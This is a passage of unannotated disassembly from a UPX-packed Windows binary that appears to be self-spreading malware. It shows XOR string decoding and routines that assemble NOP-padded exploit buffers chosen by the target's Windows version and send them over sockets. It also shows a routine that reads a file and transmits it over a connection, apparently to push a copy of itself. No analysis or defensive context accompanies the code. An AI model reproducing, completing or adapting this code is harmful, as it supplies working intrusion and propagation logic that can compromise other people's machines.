		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		jmp	short loc_4104B5
; ---------------------------------------------------------------------------


loc_4104D9:				; CODE XREF: sub_4104A3+16j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax


loc_4104DF:				; CODE XREF: sub_4104A3+5Aj
		cmp	[ebp+arg_4], 0
		jbe	short locret_4104FF
		call	sub_410461
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_4104DF
; ---------------------------------------------------------------------------

locret_4104FF:				; CODE XREF: sub_4104A3+Aj
					; sub_4104A3+40j
		leave
		retn
sub_4104A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410501	proc near		; CODE XREF: sub_403260+36p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_410510
		xor	eax, eax
		jmp	short locret_41055D
; ---------------------------------------------------------------------------


loc_410510:				; CODE XREF: sub_410501+9j
		cmp	[ebp+arg_10], 0
		jnz	short loc_41051C
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_10], eax


loc_41051C:				; CODE XREF: sub_410501+13j
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax


loc_410532:				; CODE XREF: sub_410501+57j
		cmp	[ebp+var_4], 0
		jbe	short loc_41055A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		jmp	short loc_410532
; ---------------------------------------------------------------------------


loc_41055A:				; CODE XREF: sub_410501+35j
		mov	eax, [ebp+var_8]

locret_41055D:				; CODE XREF: sub_410501+Dj
		leave
		retn
sub_410501	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41055F	proc near		; CODE XREF: UPX0:004168E1p

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EBC0
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, byte_41EBC0
		mov	edi, esi
		push	10h
		pop	ecx


loc_41059F:				; CODE XREF: sub_41055F+47j
		lodsb
		or	eax, 80h
		stosb
		loop	loc_41059F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41055F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105AD	proc near		; CODE XREF: sub_406E8E+C6p
					; sub_406E8E+14Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jle	short loc_4105BE
		jmp	short locret_4105F9
; ---------------------------------------------------------------------------


loc_4105BE:				; CODE XREF: sub_4105AD+Dj
		and	[ebp+var_4], 0
		jmp	short loc_4105CB
; ---------------------------------------------------------------------------


loc_4105C4:				; CODE XREF: sub_4105AD+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4105CB:				; CODE XREF: sub_4105AD+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_4105F9
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, ds:byte_41EBC0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4105C4
; ---------------------------------------------------------------------------

locret_4105F9:				; CODE XREF: sub_4105AD+Fj
					; sub_4105AD+29j
		leave
		retn
sub_4105AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105FB	proc near		; CODE XREF: sub_401000+4Ap
					; sub_4043E9+1Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jg	short loc_41060C
		jmp	short locret_410647
; ---------------------------------------------------------------------------


loc_41060C:				; CODE XREF: sub_4105FB+Dj
		and	[ebp+var_4], 0
		jmp	short loc_410619
; ---------------------------------------------------------------------------


loc_410612:				; CODE XREF: sub_4105FB+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410619:				; CODE XREF: sub_4105FB+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_410647
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, ds:byte_41EBC0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_410612
; ---------------------------------------------------------------------------

locret_410647:				; CODE XREF: sub_4105FB+Fj
					; sub_4105FB+29j
		leave
		retn
sub_4105FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410649	proc near		; DATA XREF: UPX1:off_41CDAEo

var_1B78	= dword	ptr -1B78h
var_1B74	= byte ptr -1B74h
var_B74		= byte ptr -0B74h
var_B6C		= dword	ptr -0B6Ch
var_B64		= dword	ptr -0B64h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_280		= byte ptr -280h
var_276		= byte ptr -276h
var_272		= byte ptr -272h
var_23A		= byte ptr -23Ah
var_236		= byte ptr -236h
var_232		= byte ptr -232h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1B78h
		call	sub_416BC0
		push	48h
		push	offset dword_41A7B0
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410686
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_410686:				; CODE XREF: sub_410649+36j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	ds:dword_417248	; recv
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_370], eax
		cmp	[ebp+var_370], 0
		jnz	short loc_4106F0
		jmp	locret_410B50
; ---------------------------------------------------------------------------


loc_4106F0:				; CODE XREF: sub_410649+A0j
		and	[ebp+var_374], 0
		jmp	short loc_410706
; ---------------------------------------------------------------------------


loc_4106F9:				; CODE XREF: sub_410649+E1j
		mov	eax, [ebp+var_374]
		inc	eax
		mov	[ebp+var_374], eax


loc_410706:				; CODE XREF: sub_410649+AEj
		cmp	[ebp+var_374], 168h
		jge	short loc_41072C
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_374]
		mov	[ebp+ecx+var_36C], al
		jmp	short loc_4106F9
; ---------------------------------------------------------------------------


loc_41072C:				; CODE XREF: sub_410649+C7j
		push	0Ah
		push	offset loc_41A8A0
		lea	eax, [ebp+var_280]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset loc_41A8F0
		lea	eax, [ebp+var_276]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset loc_41A8E8
		lea	eax, [ebp+var_272]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset loc_41A8EC
		lea	eax, [ebp+var_23A]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	(offset	loc_41A8E3+1)
		lea	eax, [ebp+var_236]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0Bh
		push	offset loc_41A894
		lea	eax, [ebp+var_232]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E6h
		sub	eax, [ebp+var_370]
		mov	[ebp+var_204], eax
		and	[ebp+var_1B78],	0
		push	18h
		push	offset dword_41A7FC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 18h
		mov	[ebp+var_1B78],	eax
		push	44h
		push	offset dword_41A818
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 44h
		mov	[ebp+var_1B78],	eax
		push	20h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 20h
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8AC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8E0
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset dword_41A8D8
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8DC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	58h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 58h
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8B4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	8
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 8
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8BC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8C4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_204]
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_204]
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_370]
		lea	eax, [ebp+var_200]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_370]
		mov	[ebp+var_1B78],	eax
		push	168h
		lea	eax, [ebp+var_36C]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 168h
		mov	[ebp+var_1B78],	eax
		push	0Ah
		push	offset off_41A8CC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 0Ah
		mov	[ebp+var_1B78],	eax
		push	32h
		push	offset dword_41A860
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 32h
		mov	[ebp+var_1B78],	eax
		mov	eax, [ebp+var_1B78]
		mov	[ebp+var_B6C], eax
		mov	eax, [ebp+var_1B78]
		sub	eax, 18h
		mov	[ebp+var_B64], eax
		push	[ebp+var_1B78]
		lea	eax, [ebp+var_B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410B36
		jmp	short locret_410B50
; ---------------------------------------------------------------------------


loc_410B36:				; CODE XREF: sub_410649+4E9j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	ds:dword_417248	; recv

locret_410B50:				; CODE XREF: sub_410649+38j
					; sub_410649+A2j ...
		leave
		retn
sub_410649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B52	proc near		; DATA XREF: UPX1:0041CDE8o

var_104C	= byte ptr -104Ch
var_FC6		= byte ptr -0FC6h
var_BDE		= byte ptr -0BDEh
var_B9E		= byte ptr -0B9Eh
var_B7C		= dword	ptr -0B7Ch
var_B78		= byte ptr -0B78h
var_AF2		= byte ptr -0AF2h
var_88E		= byte ptr -88Eh
var_882		= byte ptr -882h
var_85E		= byte ptr -85Eh
var_852		= byte ptr -852h
var_82E		= byte ptr -82Eh
var_80C		= byte ptr -80Ch
var_7CC		= byte ptr -7CCh
var_7C8		= byte ptr -7C8h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 104Ch
		call	sub_416BC0
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0
		jnz	short loc_410BAF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BAF:				; CODE XREF: sub_410B52+56j
		push	89h
		push	offset dword_41AF50
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410BEF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410BEF:				; CODE XREF: sub_410B52+96j
		push	0A8h
		push	offset dword_41AFDC
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C2F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C2F:				; CODE XREF: sub_410B52+D6j
		push	0DEh
		push	offset dword_41B088
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C6F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410C6F:				; CODE XREF: sub_410B52+116j
		movsx	eax, [ebp+var_7CC]
		sub	eax, 30h
		mov	[ebp+var_208], al
		movsx	eax, [ebp+var_7C8]
		sub	eax, 30h
		mov	[ebp+var_4], al
		push	3Eh
		push	offset dword_41B168
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410CC9
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410CC9:				; CODE XREF: sub_410B52+170j
		push	60h
		push	offset dword_41B1A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D06
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D06:				; CODE XREF: sub_410B52+1ADj
		push	0A0h
		push	offset dword_41B20C
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D46
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410D46:				; CODE XREF: sub_410B52+1EDj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	loc_410E71
		movsx	eax, [ebp+var_4]
		cmp	eax, 1
		jnz	loc_410E71
		push	86h
		push	offset dword_41B2B0
		lea	eax, [ebp+var_B78]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_AF2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0
		mov	eax, 264h
		sub	eax, [ebp+var_20C]
		add	eax, 60h
		push	eax
		mov	eax, [ebp+var_20C]
		lea	eax, [ebp+eax+var_AF2]
		push	eax
		call	sub_410F60
		add	esp, 0Ch
		push	4
		push	offset dword_41B410
		lea	eax, [ebp+var_88E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_882]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_85E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_852]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	20h
		push	offset dword_41B338
		lea	eax, [ebp+var_82E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	400h
		call	ds:dword_41709C	; Sleep
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	locret_410F5E
; ---------------------------------------------------------------------------


loc_410E71:				; CODE XREF: sub_410B52+1FEj
					; sub_410B52+20Bj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	short loc_410E85
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_410E95


loc_410E85:				; CODE XREF: sub_410B52+329j
		movsx	eax, [ebp+var_208]
		cmp	eax, 4
		jnz	locret_410F5E


loc_410E95:				; CODE XREF: sub_410B52+331j
		push	86h
		push	offset dword_41B35C
		lea	eax, [ebp+var_104C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E8h
		sub	eax, [ebp+var_20C]
		push	eax
		push	90h
		lea	eax, [ebp+var_FC6]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_BDE]
		sub	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		and	[ebp+var_B7C], 0
		jmp	short loc_410F06
; ---------------------------------------------------------------------------


loc_410EF9:				; CODE XREF: sub_410B52+3DAj
		mov	eax, [ebp+var_B7C]
		inc	eax
		mov	[ebp+var_B7C], eax


loc_410F06:				; CODE XREF: sub_410B52+3A5j
		cmp	[ebp+var_B7C], 10h
		jge	short loc_410F2E
		push	4
		push	offset dword_41B408
		mov	eax, [ebp+var_B7C]
		lea	eax, [ebp+eax*4+var_BDE]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_410EF9
; ---------------------------------------------------------------------------


loc_410F2E:				; CODE XREF: sub_410B52+3BBj
		push	20h
		push	offset dword_41B3E4
		lea	eax, [ebp+var_B9E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4CEh
		lea	eax, [ebp+var_104C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch

locret_410F5E:				; CODE XREF: sub_410B52+58j
					; sub_410B52+98j ...
		leave
		retn
sub_410B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F60	proc near		; CODE XREF: sub_410B52+265p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_8], 0
		jnz	short loc_410FA4
		and	[ebp+var_4], 0
		jmp	short loc_410F79
; ---------------------------------------------------------------------------


loc_410F72:				; CODE XREF: sub_410F60+3Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_410F79:				; CODE XREF: sub_410F60+10j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410F9F
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	al, ds:byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410F72
; ---------------------------------------------------------------------------


loc_410F9F:				; CODE XREF: sub_410F60+1Fj
		jmp	locret_41102D
; ---------------------------------------------------------------------------


loc_410FA4:				; CODE XREF: sub_410F60+Aj
		cmp	[ebp+arg_8], 7Fh
		jnz	short loc_410FDF
		and	[ebp+var_8], 0
		jmp	short loc_410FB7
; ---------------------------------------------------------------------------


loc_410FB0:				; CODE XREF: sub_410F60+7Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_410FB7:				; CODE XREF: sub_410F60+4Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410FDD
		push	5
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	al, ds:byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410FB0
; ---------------------------------------------------------------------------


loc_410FDD:				; CODE XREF: sub_410F60+5Dj
		jmp	short locret_41102D
; ---------------------------------------------------------------------------


loc_410FDF:				; CODE XREF: sub_410F60+48j
		and	[ebp+var_C], 0


loc_410FE3:				; CODE XREF: sub_410F60+ADj
					; sub_410F60+CBj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jnb	short locret_41102D
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], al
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_8]
		and	ecx, ds:dword_41BB01[eax]
		test	ecx, ecx
		jz	short loc_41100F
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------


loc_41100F:				; CODE XREF: sub_410F60+ABj
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_C]
		mov	al, ds:byte_41BB00[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------

locret_41102D:				; CODE XREF: sub_410F60:loc_410F9Fj
					; sub_410F60:loc_410FDDj ...
		leave
		retn
sub_410F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41102F	proc near		; CODE XREF: sub_41113B+79Bp

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	0EA60h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411065
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_41106C


loc_411065:				; CODE XREF: sub_41102F+2Bj
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41106C:				; CODE XREF: sub_41102F+34j
		push	offset aRb	; "rb"
		push	offset dword_41EBFC
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_41109F
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------


loc_41109F:				; CODE XREF: sub_41102F+5Bj
					; sub_41102F:loc_41111Cj
		mov	eax, [ebp+var_208]
		mov	eax, [eax+0Ch]
		and	eax, 10h
		test	eax, eax
		jnz	short loc_41111E
		push	[ebp+var_208]
		push	200h
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_20C], eax
		push	[ebp+var_20C]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_204]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_210], eax
		mov	eax, [ebp+var_20C]
		cmp	eax, [ebp+var_210]
		jz	short loc_41111C
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_208]
